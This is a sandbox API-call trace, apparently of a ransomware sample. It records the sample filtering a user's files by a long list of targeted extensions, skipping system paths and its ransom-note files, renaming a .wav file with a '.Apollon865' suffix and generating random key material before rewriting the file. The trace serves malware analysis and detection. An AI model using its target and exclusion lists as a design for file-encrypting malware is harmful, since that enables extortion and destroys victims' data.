	[0088.035] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0088.035] lstrlenW (lpString="dbs") returned 3
	[0088.035] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0088.035] lstrlenW (lpString="dbt") returned 3
	[0088.035] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0088.035] lstrlenW (lpString="dbv") returned 3
	[0088.035] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0088.036] lstrlenW (lpString="dbx") returned 3
	[0088.036] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0088.036] lstrlenW (lpString="dcb") returned 3
	[0088.036] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0088.036] lstrlenW (lpString="dct") returned 3
	[0088.036] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0088.036] lstrlenW (lpString="dcx") returned 3
	[0088.036] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0088.036] lstrlenW (lpString="ddl") returned 3
	[0088.036] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0088.036] lstrlenW (lpString="dlis") returned 4
	[0088.036] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0088.036] lstrlenW (lpString="dp1") returned 3
	[0088.036] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0088.036] lstrlenW (lpString="dqy") returned 3
	[0088.036] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0088.036] lstrlenW (lpString="dsk") returned 3
	[0088.036] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0088.036] lstrlenW (lpString="dsn") returned 3
	[0088.036] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0088.036] lstrlenW (lpString="dtsx") returned 4
	[0088.036] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0088.036] lstrlenW (lpString="dxl") returned 3
	[0088.036] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0088.036] lstrlenW (lpString="eco") returned 3
	[0088.036] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0088.036] lstrlenW (lpString="ecx") returned 3
	[0088.037] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0088.037] lstrlenW (lpString="edb") returned 3
	[0088.037] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0088.037] lstrlenW (lpString="epim") returned 4
	[0088.037] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0088.037] lstrlenW (lpString="fcd") returned 3
	[0088.037] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0088.037] lstrlenW (lpString="fdb") returned 3
	[0088.037] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0088.037] lstrlenW (lpString="fic") returned 3
	[0088.037] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0088.037] lstrlenW (lpString="flexolibrary") returned 12
	[0088.037] lstrcmpiW (lpString1="6EbSgm1I.wav", lpString2="flexolibrary") returned -1
	[0088.037] lstrlenW (lpString="fm5") returned 3
	[0088.037] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0088.037] lstrlenW (lpString="fmp") returned 3
	[0088.037] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0088.037] lstrlenW (lpString="fmp12") returned 5
	[0088.037] lstrcmpiW (lpString1="I.wav", lpString2="fmp12") returned 1
	[0088.037] lstrlenW (lpString="fmpsl") returned 5
	[0088.037] lstrcmpiW (lpString1="I.wav", lpString2="fmpsl") returned 1
	[0088.037] lstrlenW (lpString="fol") returned 3
	[0088.037] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0088.037] lstrlenW (lpString="fp3") returned 3
	[0088.037] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0088.037] lstrlenW (lpString="fp4") returned 3
	[0088.038] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0088.038] lstrlenW (lpString="fp5") returned 3
	[0088.038] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0088.038] lstrlenW (lpString="fp7") returned 3
	[0088.038] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0088.038] lstrlenW (lpString="fpt") returned 3
	[0088.038] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0088.038] lstrlenW (lpString="frm") returned 3
	[0088.038] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0088.038] lstrlenW (lpString="gdb") returned 3
	[0088.038] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.038] lstrlenW (lpString="gdb") returned 3
	[0088.038] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.038] lstrlenW (lpString="grdb") returned 4
	[0088.038] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0088.038] lstrlenW (lpString="gwi") returned 3
	[0088.038] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0088.038] lstrlenW (lpString="hdb") returned 3
	[0088.038] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0088.038] lstrlenW (lpString="his") returned 3
	[0088.038] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0088.038] lstrlenW (lpString="ib") returned 2
	[0088.038] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0088.038] lstrlenW (lpString="idb") returned 3
	[0088.038] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0088.038] lstrlenW (lpString="ihx") returned 3
	[0088.038] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0088.039] lstrlenW (lpString="itdb") returned 4
	[0088.039] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0088.039] lstrlenW (lpString="itw") returned 3
	[0088.039] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0088.039] lstrlenW (lpString="jet") returned 3
	[0088.039] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0088.039] lstrlenW (lpString="jtx") returned 3
	[0088.039] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0088.039] lstrlenW (lpString="kdb") returned 3
	[0088.039] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0088.039] lstrlenW (lpString="kexi") returned 4
	[0088.039] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0088.039] lstrlenW (lpString="kexic") returned 5
	[0088.039] lstrcmpiW (lpString1="I.wav", lpString2="kexic") returned -1
	[0088.039] lstrlenW (lpString="kexis") returned 5
	[0088.039] lstrcmpiW (lpString1="I.wav", lpString2="kexis") returned -1
	[0088.039] lstrlenW (lpString="lgc") returned 3
	[0088.039] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0088.039] lstrlenW (lpString="lwx") returned 3
	[0088.039] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0088.039] lstrlenW (lpString="maf") returned 3
	[0088.039] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0088.039] lstrlenW (lpString="maq") returned 3
	[0088.039] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0088.039] lstrlenW (lpString="mar") returned 3
	[0088.039] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0088.039] lstrlenW (lpString="marshal") returned 7
	[0088.040] lstrcmpiW (lpString1="m1I.wav", lpString2="marshal") returned -1
	[0088.040] lstrlenW (lpString="mas") returned 3
	[0088.040] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0088.040] lstrlenW (lpString="mav") returned 3
	[0088.040] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0088.040] lstrlenW (lpString="maw") returned 3
	[0088.040] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0088.040] lstrlenW (lpString="mdbhtml") returned 7
	[0088.040] lstrcmpiW (lpString1="m1I.wav", lpString2="mdbhtml") returned -1
	[0088.040] lstrlenW (lpString="mdn") returned 3
	[0088.040] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0088.040] lstrlenW (lpString="mdt") returned 3
	[0088.040] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0088.040] lstrlenW (lpString="mfd") returned 3
	[0088.040] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0088.040] lstrlenW (lpString="mpd") returned 3
	[0088.040] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0088.040] lstrlenW (lpString="mrg") returned 3
	[0088.040] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0088.040] lstrlenW (lpString="mud") returned 3
	[0088.040] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0088.040] lstrlenW (lpString="mwb") returned 3
	[0088.040] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0088.040] lstrlenW (lpString="myd") returned 3
	[0088.040] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0088.040] lstrlenW (lpString="ndf") returned 3
	[0088.041] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0088.041] lstrlenW (lpString="nnt") returned 3
	[0088.041] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0088.041] lstrlenW (lpString="nrmlib") returned 6
	[0088.041] lstrcmpiW (lpString1="1I.wav", lpString2="nrmlib") returned -1
	[0088.041] lstrlenW (lpString="ns2") returned 3
	[0088.041] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0088.041] lstrlenW (lpString="ns3") returned 3
	[0088.041] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0088.041] lstrlenW (lpString="ns4") returned 3
	[0088.041] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0088.041] lstrlenW (lpString="nsf") returned 3
	[0088.041] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0088.041] lstrlenW (lpString="nv") returned 2
	[0088.041] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0088.041] lstrlenW (lpString="nv2") returned 3
	[0088.041] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0088.041] lstrlenW (lpString="nwdb") returned 4
	[0088.041] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0088.041] lstrlenW (lpString="nyf") returned 3
	[0088.041] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0088.041] lstrlenW (lpString="odb") returned 3
	[0088.041] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.041] lstrlenW (lpString="odb") returned 3
	[0088.041] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.041] lstrlenW (lpString="oqy") returned 3
	[0088.041] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0088.042] lstrlenW (lpString="ora") returned 3
	[0088.042] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0088.042] lstrlenW (lpString="orx") returned 3
	[0088.042] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0088.042] lstrlenW (lpString="owc") returned 3
	[0088.042] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0088.042] lstrlenW (lpString="p96") returned 3
	[0088.042] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0088.042] lstrlenW (lpString="p97") returned 3
	[0088.042] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0088.042] lstrlenW (lpString="pan") returned 3
	[0088.042] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0088.042] lstrlenW (lpString="pdb") returned 3
	[0088.042] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0088.042] lstrlenW (lpString="pdm") returned 3
	[0088.042] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0088.042] lstrlenW (lpString="pnz") returned 3
	[0088.042] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0088.042] lstrlenW (lpString="qry") returned 3
	[0088.042] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0088.042] lstrlenW (lpString="qvd") returned 3
	[0088.042] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0088.042] lstrlenW (lpString="rbf") returned 3
	[0088.042] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0088.042] lstrlenW (lpString="rctd") returned 4
	[0088.042] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0088.042] lstrlenW (lpString="rod") returned 3
	[0088.043] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0088.043] lstrlenW (lpString="rodx") returned 4
	[0088.043] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0088.043] lstrlenW (lpString="rpd") returned 3
	[0088.043] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0088.043] lstrlenW (lpString="rsd") returned 3
	[0088.043] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0088.043] lstrlenW (lpString="sas7bdat") returned 8
	[0088.043] lstrcmpiW (lpString1="gm1I.wav", lpString2="sas7bdat") returned -1
	[0088.043] lstrlenW (lpString="sbf") returned 3
	[0088.043] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0088.043] lstrlenW (lpString="scx") returned 3
	[0088.043] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0088.043] lstrlenW (lpString="sdb") returned 3
	[0088.043] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0088.043] lstrlenW (lpString="sdc") returned 3
	[0088.043] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0088.043] lstrlenW (lpString="sdf") returned 3
	[0088.043] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0088.043] lstrlenW (lpString="sis") returned 3
	[0088.043] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0088.043] lstrlenW (lpString="spq") returned 3
	[0088.043] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0088.043] lstrlenW (lpString="te") returned 2
	[0088.043] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0088.043] lstrlenW (lpString="teacher") returned 7
	[0088.044] lstrcmpiW (lpString1="m1I.wav", lpString2="teacher") returned -1
	[0088.044] lstrlenW (lpString="tmd") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0088.044] lstrlenW (lpString="tps") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0088.044] lstrlenW (lpString="trc") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.044] lstrlenW (lpString="trc") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.044] lstrlenW (lpString="trm") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0088.044] lstrlenW (lpString="udb") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0088.044] lstrlenW (lpString="udl") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0088.044] lstrlenW (lpString="usr") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0088.044] lstrlenW (lpString="v12") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0088.044] lstrlenW (lpString="vis") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0088.044] lstrlenW (lpString="vpd") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0088.044] lstrlenW (lpString="vvv") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0088.044] lstrlenW (lpString="wdb") returned 3
	[0088.044] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0088.045] lstrlenW (lpString="wmdb") returned 4
	[0088.045] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0088.045] lstrlenW (lpString="wrk") returned 3
	[0088.045] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0088.045] lstrlenW (lpString="xdb") returned 3
	[0088.045] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0088.045] lstrlenW (lpString="xld") returned 3
	[0088.045] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0088.045] lstrlenW (lpString="xmlff") returned 5
	[0088.045] lstrcmpiW (lpString1="I.wav", lpString2="xmlff") returned -1
	[0088.045] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\Uv6EbSgm1I.wav.Apollon865") returned 86
	[0088.045] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\Uv6EbSgm1I.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\uv6ebsgm1i.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\Uv6EbSgm1I.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\uv6ebsgm1i.wav.apollon865"), dwFlags=0x1) returned 1
	[0088.047] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\Uv6EbSgm1I.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\uv6ebsgm1i.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.047] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=9450) returned 1
	[0088.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0088.048] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0088.049] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.049] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.049] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27f0, lpName=0x0) returned 0x15c
	[0088.049] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27f0) returned 0x100000
	[0088.050] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.050] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.050] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0088.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0088.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.051] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.051] CloseHandle (hObject=0x15c) returned 1
	[0088.051] CloseHandle (hObject=0x9c) returned 1
	[0088.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.053] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67fc1ca0, ftCreationTime.dwHighDateTime=0x1d4ccf0, ftLastAccessTime.dwLowDateTime=0x53f9eb50, ftLastAccessTime.dwHighDateTime=0x1d4d48a, ftLastWriteTime.dwLowDateTime=0x53f9eb50, ftLastWriteTime.dwHighDateTime=0x1d4d48a, nFileSizeHigh=0x0, nFileSizeLow=0x17ea0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ylh5SaAC 4.wav", cAlternateFileName="YLH5SA~1.WAV")) returned 1
	[0088.053] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.053] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2="Apollon865.txt.exe") returned 1
	[0088.053] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2=".") returned 1
	[0088.053] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2="..") returned 1
	[0088.053] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2="windows") returned 1
	[0088.053] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2="bootmgr") returned 1
	[0088.053] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2="temp") returned 1
	[0088.053] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2="pagefile.sys") returned 1
	[0088.054] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2="boot") returned 1
	[0088.054] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2="ids.txt") returned 1
	[0088.054] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2="ntuser.dat") returned 1
	[0088.054] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2="perflogs") returned 1
	[0088.054] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2="MSBuild") returned 1
	[0088.054] lstrlenW (lpString="ylh5SaAC 4.wav") returned 14
	[0088.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\Uv6EbSgm1I.wav") returned 75
	[0088.054] lstrcpyW (in: lpString1=0x119e682, lpString2="ylh5SaAC 4.wav" | out: lpString1="ylh5SaAC 4.wav") returned="ylh5SaAC 4.wav"
	[0088.054] lstrlenW (lpString="ylh5SaAC 4.wav") returned 14
	[0088.054] lstrlenW (lpString="Apollon865") returned 10
	[0088.054] lstrcmpiW (lpString1="SaAC 4.wav", lpString2="Apollon865") returned 1
	[0088.054] lstrlenW (lpString=".dll") returned 4
	[0088.054] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2=".dll") returned 1
	[0088.054] lstrlenW (lpString=".lnk") returned 4
	[0088.054] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2=".lnk") returned 1
	[0088.054] lstrlenW (lpString=".ini") returned 4
	[0088.054] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2=".ini") returned 1
	[0088.054] lstrlenW (lpString=".sys") returned 4
	[0088.054] lstrcmpiW (lpString1="ylh5SaAC 4.wav", lpString2=".sys") returned 1
	[0088.054] lstrlenW (lpString="ylh5SaAC 4.wav") returned 14
	[0088.054] lstrlenW (lpString="bak") returned 3
	[0088.054] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0088.054] lstrlenW (lpString="ba_") returned 3
	[0088.054] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0088.054] lstrlenW (lpString="dbb") returned 3
	[0088.054] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0088.054] lstrlenW (lpString="vmdk") returned 4
	[0088.054] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0088.054] lstrlenW (lpString="rar") returned 3
	[0088.054] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0088.054] lstrlenW (lpString="zip") returned 3
	[0088.054] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0088.055] lstrlenW (lpString="tgz") returned 3
	[0088.055] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0088.055] lstrlenW (lpString="vbox") returned 4
	[0088.055] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0088.055] lstrlenW (lpString="vdi") returned 3
	[0088.055] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0088.055] lstrlenW (lpString="vhd") returned 3
	[0088.055] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0088.055] lstrlenW (lpString="vhdx") returned 4
	[0088.055] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0088.055] lstrlenW (lpString="avhd") returned 4
	[0088.055] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0088.055] lstrlenW (lpString="db") returned 2
	[0088.055] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0088.055] lstrlenW (lpString="db2") returned 3
	[0088.055] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0088.055] lstrlenW (lpString="db3") returned 3
	[0088.055] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0088.055] lstrlenW (lpString="dbf") returned 3
	[0088.055] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0088.055] lstrlenW (lpString="mdf") returned 3
	[0088.055] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0088.055] lstrlenW (lpString="mdb") returned 3
	[0088.055] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0088.055] lstrlenW (lpString="sql") returned 3
	[0088.055] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0088.055] lstrlenW (lpString="sqlite") returned 6
	[0088.056] lstrcmpiW (lpString1=" 4.wav", lpString2="sqlite") returned -1
	[0088.056] lstrlenW (lpString="sqlite3") returned 7
	[0088.056] lstrcmpiW (lpString1="C 4.wav", lpString2="sqlite3") returned -1
	[0088.056] lstrlenW (lpString="sqlitedb") returned 8
	[0088.056] lstrcmpiW (lpString1="AC 4.wav", lpString2="sqlitedb") returned -1
	[0088.056] lstrlenW (lpString="xml") returned 3
	[0088.056] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0088.056] lstrlenW (lpString="$er") returned 3
	[0088.056] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0088.056] lstrlenW (lpString="4dd") returned 3
	[0088.056] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0088.056] lstrlenW (lpString="4dl") returned 3
	[0088.056] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0088.056] lstrlenW (lpString="^^^") returned 3
	[0088.056] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0088.056] lstrlenW (lpString="abs") returned 3
	[0088.056] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0088.056] lstrlenW (lpString="abx") returned 3
	[0088.056] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0088.056] lstrlenW (lpString="accdb") returned 5
	[0088.056] lstrcmpiW (lpString1="4.wav", lpString2="accdb") returned -1
	[0088.056] lstrlenW (lpString="accdc") returned 5
	[0088.056] lstrcmpiW (lpString1="4.wav", lpString2="accdc") returned -1
	[0088.056] lstrlenW (lpString="accde") returned 5
	[0088.056] lstrcmpiW (lpString1="4.wav", lpString2="accde") returned -1
	[0088.056] lstrlenW (lpString="accdr") returned 5
	[0088.056] lstrcmpiW (lpString1="4.wav", lpString2="accdr") returned -1
	[0088.057] lstrlenW (lpString="accdt") returned 5
	[0088.057] lstrcmpiW (lpString1="4.wav", lpString2="accdt") returned -1
	[0088.057] lstrlenW (lpString="accdw") returned 5
	[0088.057] lstrcmpiW (lpString1="4.wav", lpString2="accdw") returned -1
	[0088.057] lstrlenW (lpString="accft") returned 5
	[0088.057] lstrcmpiW (lpString1="4.wav", lpString2="accft") returned -1
	[0088.057] lstrlenW (lpString="adb") returned 3
	[0088.057] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
